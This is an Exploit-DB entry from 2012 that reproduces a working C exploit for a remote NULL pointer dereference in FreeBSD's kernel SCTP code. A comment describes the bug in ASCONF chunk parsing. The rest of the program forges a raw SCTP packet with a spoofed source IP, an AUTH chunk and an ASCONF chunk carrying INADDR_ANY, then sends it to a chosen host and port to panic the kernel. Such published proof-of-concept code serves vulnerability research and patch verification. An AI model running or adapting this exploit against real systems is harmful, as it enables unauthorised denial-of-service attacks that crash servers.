FreeBSD – SCTP Remote NULL Ptr Dereference Denial of Service

  • 作者: Shaun Colley
    日期: 2012-08-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/20226/
  • /*
     * FreeBSD kernel SCTP (latest release) remote NULL ptr dereference DoS
     * 
     * by Shaun Colley <scolley@ioactive.com>, 2 Aug 2012 
     *
     * The SCTP implementation used by FreeBSD ("reference implementation") is vulnerable to a remote 
     * NULL pointer dereference in kernel due to a logic bug. When parsing ASCONF chunks, an attempt is
     * made to find an association by address. if the address found is INADDR_ANY, sctp_findassoc_by_vtag()
     * is called and an attempt is made to find an association by vtag. Before searching for the vtag in a 
     * hash table, a pointer is set to NULL, with the intention of redefining it after finding the association. 
     * However, if the specified vtag is not found, the function returns and the ptr is never reinitialised, 
     * causing a kernel panic when the NULL pointer is later dereferenced by the SCTP_INP_DECR_REF macro when 
     * flow returns to sctp_process_control(). 
     *
     * i.e.
     *
     * static struct sctp_tcb *
     * sctp_findassoc_by_vtag(struct sockaddr *from, uint32_t vtag,
     *struct sctp_inpcb **inp_p, struct sctp_nets **netp, uint16_t rport,
     * uint16_t lport, int skip_src_check)
     *
     *	 {
     * 
     *	 [ ... ]
     *
     **netp = NULL;
     **inp_p = NULL;
     * 
     * [ ... ]
     *
     * head = &sctppcbinfo.sctp_asochash[SCTP_PCBHASH_ASOC(vtag,
     *			 1690 sctppcbinfo.hashasocmark)];
     * if (head == NULL) {
     *	// invalid vtag 
     *	SCTP_INP_INFO_RUNLOCK();
     *	return (NULL);
     *	}
     *
     * The page fault is a write AV at 0x0 + 0x33c but since there is no associated user context, this
     * doesn't appear to be exploitable (i.e. by mapping the NULL page)
     *
     * Tested against FreebSD 8.2-RELEASE but latest release is also vulnerable. The target system must have an open
     * SCTP port
     *
     */
    
    #include <stdio.h> 
    #include <stdlib.h> 
    #include <unistd.h> 
    #include <netinet/in.h> 
    #include <sys/socket.h> 
    #include <fcntl.h> 
    #include <netinet/ip.h> 
    #include <netdb.h>
    #include <string.h>
    
    /* sctp checksum implementation, basically ripped from wireshark */
    #define SP_LEN 2
    #define DP_LEN 2
    #define VTAG_LEN 4
    #define CHK_LEN 4
    #define HEADER_LEN(SP_LEN + DP_LEN + VTAG_LEN + CHK_LEN)
    #define CRC32C(c, d) (c = (c >> 8) ^ crc_c[(c ^(d)) & 0xFF])
    
    /* SCTP chunk types */
    #define SCTP_AUTH 0x0f
    #define SCTP_ASCONF 	0xc1
    
    static int crc_c[256] = {
    	0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L,
    	0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL,
    	0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL,
    	0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L,
    	0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL,
    	0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L,
    	0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L,
    	0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL,
    	0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL,
    	0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L,
    	0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L,
    	0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL,
    	0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L,
    	0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL,
    	0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL,
    	0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L,
    	0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L,
    	0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L,
    	0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L,
    	0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L,
    	0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L,
    	0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L,
    	0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L,
    	0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L,
    	0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L,
    	0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L,
    	0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L,
    	0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L,
    	0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L,
    	0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L,
    	0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L,
    	0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L,
    	0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL,
    	0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L,
    	0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L,
    	0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL,
    	0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L,
    	0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL,
    	0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL,
    	0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L,
    	0xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L,
    	0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL,
    	0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL,
    	0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L,
    	0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL,
    	0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L,
    	0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L,
    	0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL,
    	0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L,
    	0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL,
    	0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL,
    	0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L,
    	0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL,
    	0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L,
    	0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L,
    	0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL,
    	0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL,
    	0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L,
    	0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L,
    	0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL,
    	0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L,
    	0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL,
    	0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL,
    	0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L,
    };
    
    static unsigned int sctp_crc32c(const unsigned char *buf, unsigned int len) {
    
    	unsigned int i;
    	unsigned int crc32 = ~0U;
    	unsigned int r;
    	unsigned char b0, b1, b2, b3;
    
    	for(i = 0; i < SP_LEN + DP_LEN + VTAG_LEN; i++) 
    		CRC32C(crc32, buf[i]);
    
    	CRC32C(crc32, 0);
    	CRC32C(crc32, 0);
    	CRC32C(crc32, 0);
    	CRC32C(crc32, 0);
    	for (i = HEADER_LEN; i < len; i++)
    		CRC32C(crc32, buf[i]);
    
    	r = ~crc32;
    
    	b0 = r & 0xff;
    	b1 = (r >> 8) & 0xff;
    	b2 = (r >> 16) & 0xff;
    	b3 = (r >> 24) & 0xff;
    	crc32 = ((b0 << 24) | (b1 << 16) | (b2 << 8) | b3);
    	return crc32;
    }
    
    
    /* basic sctp header */
    struct sctphdr {
    	unsigned short sport;
    	unsigned short dport;
    	unsigned int vtag;
    	unsigned csum;
    };
    
    /* sctp chunk header */
    struct sctp_chunkhdr {
    	unsigned char type;
    	unsigned char flags;
    	unsigned short length;
    };
    
    /* ASCONF chunk */
    struct sctp_asconf_chunk {
    struct sctp_chunkhdr ch;
    unsigned int serial;
    };
    
    /* AUTH chunk */
    struct sctp_auth_chunk {
    struct sctp_chunkhdr ch;
    unsigned short shared_key_id;
    unsigned short hmac_id;
    unsigned char hmac[0];
    };
    
    /* SCTP parameter header */
    struct sctp_paramhdr {
    	unsigned short type;
    	unsigned short length;
    };
    
    /* ipv4 address parameter */
    struct sctp_ipv4addr_param {
    	struct sctp_paramhdr ph; 
    	unsigned int addr;
    };
    
    
    /* standard crc32 IP checksum */
    unsigned short checksum(unsigned short *addr, int len) {
    
    	int nleft = len;
    	unsigned int sum = 0;
    	unsigned short *w = addr;
    	unsigned short answer = 0;
    
    	while(nleft > 1) {
    		sum += *w++;
    		nleft -= 2;
    	}
    	if(nleft == 1) {
    		*(unsigned char *)(&answer) = *(unsigned char *)w;
    		sum += answer;
    	}
    
    	sum = (sum >> 16) + (sum & 0xffff);
    	sum += (sum >> 16);
    	answer = ~sum;
    	return answer; 
    }
    
    int main(int argc, char *argv[]) {
    
    	int sock = 0, ret = 0;
    	int on = 1; /* for setsockopt() call */
    	struct ip *iph = NULL;
    	struct sctphdr *sctph = NULL;
    	struct sctp_auth_chunk *auth_chunk = NULL;
    	struct sctp_asconf_chunk *asconf_chunk = NULL;
    struct sctp_ipv4addr_param *ipv4_addr = NULL;
    
    	char *crash = NULL;
    	struct sockaddr_in sin;
    	struct hostent *hp = NULL;
    
    	printf("\n[*] freebsd sctp remote NULL ptr dereference\n\n");
    
    	if(argc < 3) {
    		printf("usage: %s <host> <port>\n\n", argv[0]);
    		return -1;
    	}
    
    	sock = socket(AF_INET, SOCK_RAW, IPPROTO_SCTP);
    	if(sock < 0) {
    		printf("[*] error making socket!\n");
    		return -1;
    	}
    
    	/* tell the kernel not to put any IP headers in */
    	if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
    		printf("[*] setsockopt() error\n");
    		return -1;
    	}
    
    	hp = gethostbyname(argv[1]);
    	if(!hp) {
    		printf("[*] couldn't resolve %s\n\n", argv[1]);
    		return -1;
    	}
    
    	memset(&sin, 0, sizeof(sin));
    	sin.sin_family = AF_INET;
    	sin.sin_port = htons(atoi(argv[2]));
    	memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
    	
    	crash = malloc(20000);
    	if(!crash) {
    		printf("\n[*] couldn't allocate memory\n");
    		return -1;
    	}
    
    	printf("[*] building crash packet..\n");
    
    	memset(crash, 0x00, 20000);
    	
    	/* fill in IP header */
    	iph = (struct ip *)crash;
    	iph->ip_hl = 5;
    	iph->ip_v = 4;
    	iph->ip_tos = 0;
    iph->ip_len = 0; /* fill in later when we know... */
    	iph->ip_id = htons(1337);
    	iph->ip_off = 0;
    	iph->ip_ttl = 250;
    	iph->ip_p = 132; /* sctp */
    	iph->ip_sum = 0;
    
    	iph->ip_src.s_addr = inet_addr("1.3.3.7");
    	iph->ip_dst.s_addr = sin.sin_addr.s_addr;
    
    	/* fill in SCTP header */
    	sctph = (void *)crash + sizeof(struct ip); 
    	sctph->sport = htons(0x1234); 
    	sctph->dport = htons(atoi(argv[2]));
    	sctph->vtag = htonl(0x12345);/* deliberately wrong */
    	sctph->csum = 0;
    
    	/* build AUTH chunk */
    	auth_chunk = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr);
    	auth_chunk->ch.type = SCTP_AUTH;
    	auth_chunk->ch.length = htons(8 + sizeof(struct sctp_auth_chunk));
    auth_chunk->hmac_id = htons(0x1337);
    memset((void *)auth_chunk->hmac, 0x61, 8); 
    
    /* build ASCONF chunk */
    asconf_chunk = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8;
    asconf_chunk->ch.type = SCTP_ASCONF;
    asconf_chunk->ch.length = htons(sizeof(struct sctp_asconf_chunk) + sizeof(struct sctp_ipv4addr_param));
    asconf_chunk->serial = 0x41414141; /* whatever */
    
    ipv4_addr = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) 
    + 8 + sizeof(struct sctp_asconf_chunk);
    	
    	ipv4_addr->ph.length = htons(sizeof(struct sctp_ipv4addr_param));
    ipv4_addr->ph.type = htons(0x0005);
    ipv4_addr->addr = INADDR_ANY; /* this takes us down the bad code path */ 
    
    /* what's the length of the whole packet? */
    iph->ip_len = sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8 + sizeof(struct sctp_asconf_chunk) 
    + sizeof(struct sctp_ipv4addr_param);
    
    /* calculate IP checksum */
    	iph->ip_sum = checksum((unsigned short *)crash, iph->ip_len >> 1);
    
    	/* calculate SCTP checksum */
    	sctph->csum = htonl(sctp_crc32c((const unsigned char *)sctph, sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8 
     + sizeof(struct sctp_asconf_chunk) 
     + sizeof(struct sctp_ipv4addr_param)));
    
    	printf("[*] sending packet..\n\n");
    
    	/* send the bad packet */
    	ret = sendto(sock, crash, iph->ip_len, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
    	if(ret < 0) {
    		printf("[*] error sending packet\n");
    		return -1;
    	}
    
    	printf("[*] done, bad packet sent!\n\n");
    
    	free(crash);
    	close(sock);
    
    	return 0;
    
    }